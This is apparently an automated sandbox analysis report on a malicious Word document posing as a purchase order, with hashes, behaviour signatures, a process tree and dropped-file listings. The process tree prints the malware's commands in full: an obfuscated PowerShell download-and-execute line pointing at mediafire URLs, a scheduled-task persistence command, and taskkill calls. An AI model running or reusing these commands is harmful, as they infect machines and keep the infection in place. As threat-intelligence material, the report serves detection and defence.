Analysis

  • max time kernel
    50s
  • max time network
    116s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    24-05-2022 19:08

General

  • Target

    GBE_PO_3000105160.docx

  • Size

    212KB

  • MD5

    5a0187dff6fcc8149b2e9d01e20179fa

  • SHA1

    143ad92b2253eb5f23fa22d320844510f5c02834

  • SHA256

    e79cbe266df0e4a6a72b6be67d0d0d4dc276ee4559c627a3dfd73dd1859af7f5

  • SHA512

    b55c14806876fa155ab086ea3851ad25f876a547c6b045b224b9d6b2c3109a158d9361a3a30c0f8b262b9c3f811fc5736b8100b69fc3a9245bf1de145b23bfd7

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://www.mediafire.com/file/2xfbajsftslryfu/3.dll/file

Signatures

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Office loads VBA resources, possible macro or embedded object present
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Kills process with taskkill 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\GBE_PO_3000105160.docx"
    1⤵
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:388
  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" -Embedding
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2008
    • C:\Windows\SysWOW64\WSCRIPT.exe
      WSCRIPT C:\Users\Public\update.js
      2⤵
      • Process spawned unexpected child process
      PID:1676
  • C:\ProgramData\ddond.com
    C:\ProgramData\ddond.com https://www.mediafire.com/file/87j3bj0ks0asu58/3.htm/file
    1⤵
    • Executes dropped EXE
    • Modifies Internet Explorer settings
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:820
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $MMMMMMM=((n`e`W`-Obj`E`c`T (('Net'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'.'+'W'+'eb'+'c'+''+''+''+''+''+''+''+''+''+'lient'))).(('D'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'o'+'w'+'n'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'l'+'o'+'a'+'d'+'s'+'tri'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'n'+'g')).invoke((('https://www.mediafire.com/file/2xfbajsftslryfu/3.dll/file'))));Invoke-Expression $MMMMMMM
      2⤵
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1964
    • C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 83 /tn calsaasdendersw /F /tr """C:\ProgramData\milon.com""""""https://www.mediafire.com/file/ynfsesd18cv2njq/3.htm/file"""
      2⤵
      • Creates scheduled task(s)
      PID:1696
    • C:\Windows\SysWOW64\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /f /im WinWord.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1416
    • C:\Windows\SysWOW64\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /f /im Excel.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1876
    • C:\Windows\SysWOW64\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /f /im POWERPNT.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1376
  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" -Embedding
    1⤵
    • Enumerates system info in registry
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1804
    • C:\Windows\SysWOW64\WSCRIPT.exe
      WSCRIPT C:\Users\Public\update.js
      2⤵
      • Process spawned unexpected child process
      PID:1872
  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" -Embedding
    1⤵
    • Enumerates system info in registry
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1716
    • C:\Windows\SysWOW64\WSCRIPT.exe
      WSCRIPT C:\Users\Public\update.js
      2⤵
      • Process spawned unexpected child process
      PID:1592

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\ProgramData\ddond.com

    Filesize

    13KB

    MD5

    abdfc692d9fe43e2ba8fe6cb5a8cb95a

    SHA1

    d4f0397f83083e1c6fb0894187cc72aebcf2f34f

    SHA256

    949485ba939953642714ae6831d7dcb261691cac7cbb8c1a9220333801f60820

    SHA512

    c786bfb6a2316e43cb89901fae103157ec6b65117c292dc7570dd4685891b5afbb72064789b74bf55fe012c5936ed6468876e4d2cccdeff71b4abb2d76ff395f

  • C:\ProgramData\ddond.com

    Filesize

    13KB

    MD5

    abdfc692d9fe43e2ba8fe6cb5a8cb95a

    SHA1

    d4f0397f83083e1c6fb0894187cc72aebcf2f34f

    SHA256

    949485ba939953642714ae6831d7dcb261691cac7cbb8c1a9220333801f60820

    SHA512

    c786bfb6a2316e43cb89901fae103157ec6b65117c292dc7570dd4685891b5afbb72064789b74bf55fe012c5936ed6468876e4d2cccdeff71b4abb2d76ff395f

  • C:\Users\Public\update.js

    Filesize

    4KB

    MD5

    f037eb06dda81da34841c5fc3c7c10b0

    SHA1

    ad50dcdcbaf5edd320d2b16cd9d7e7a74aeb677d

    SHA256

    acdc6ef49748970b62c7d68688b839fc14a47a046637f389fe56a01f7334222d

    SHA512

    4171b18beef019b5925595888540cdcf8b453cfe7219f2ca9ab050749538c6904178b0189695f56fbe52701bdb94d097c92f379a92e95443bf1be3649e510db6

  • C:\Users\Public\update.js

    Filesize

    4KB

    MD5

    f037eb06dda81da34841c5fc3c7c10b0

    SHA1

    ad50dcdcbaf5edd320d2b16cd9d7e7a74aeb677d

    SHA256

    acdc6ef49748970b62c7d68688b839fc14a47a046637f389fe56a01f7334222d

    SHA512

    4171b18beef019b5925595888540cdcf8b453cfe7219f2ca9ab050749538c6904178b0189695f56fbe52701bdb94d097c92f379a92e95443bf1be3649e510db6

  • C:\Users\Public\update.js

    Filesize

    4KB

    MD5

    f037eb06dda81da34841c5fc3c7c10b0

    SHA1

    ad50dcdcbaf5edd320d2b16cd9d7e7a74aeb677d

    SHA256

    acdc6ef49748970b62c7d68688b839fc14a47a046637f389fe56a01f7334222d

    SHA512

    4171b18beef019b5925595888540cdcf8b453cfe7219f2ca9ab050749538c6904178b0189695f56fbe52701bdb94d097c92f379a92e95443bf1be3649e510db6

  • memory/388-55-0x00000000709C1000-0x00000000709C3000-memory.dmp

    Filesize

    8KB

  • memory/388-54-0x0000000072F41000-0x0000000072F44000-memory.dmp

    Filesize

    12KB

  • memory/388-58-0x00000000719AD000-0x00000000719B8000-memory.dmp

    Filesize

    44KB

  • memory/388-57-0x0000000076C81000-0x0000000076C83000-memory.dmp

    Filesize

    8KB

  • memory/388-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1716-87-0x00000000719AD000-0x00000000719B8000-memory.dmp

    Filesize

    44KB

  • memory/1716-81-0x0000000000822000-0x000000000082B000-memory.dmp

    Filesize

    36KB

  • memory/1716-82-0x0000000000822000-0x000000000082B000-memory.dmp

    Filesize

    36KB

  • memory/1804-73-0x000000000043E000-0x0000000000444000-memory.dmp

    Filesize

    24KB

  • memory/1804-86-0x00000000719AD000-0x00000000719B8000-memory.dmp

    Filesize

    44KB

  • memory/1964-97-0x0000000068150000-0x00000000686FB000-memory.dmp

    Filesize

    5.7MB

  • memory/2008-75-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2008-66-0x00000000719AD000-0x00000000719B8000-memory.dmp

    Filesize

    44KB

  • memory/2008-64-0x0000000000845000-0x0000000000848000-memory.dmp

    Filesize

    12KB

  • memory/2008-63-0x0000000000845000-0x0000000000848000-memory.dmp

    Filesize

    12KB

  • memory/2008-59-0x000000002F691000-0x000000002F694000-memory.dmp

    Filesize

    12KB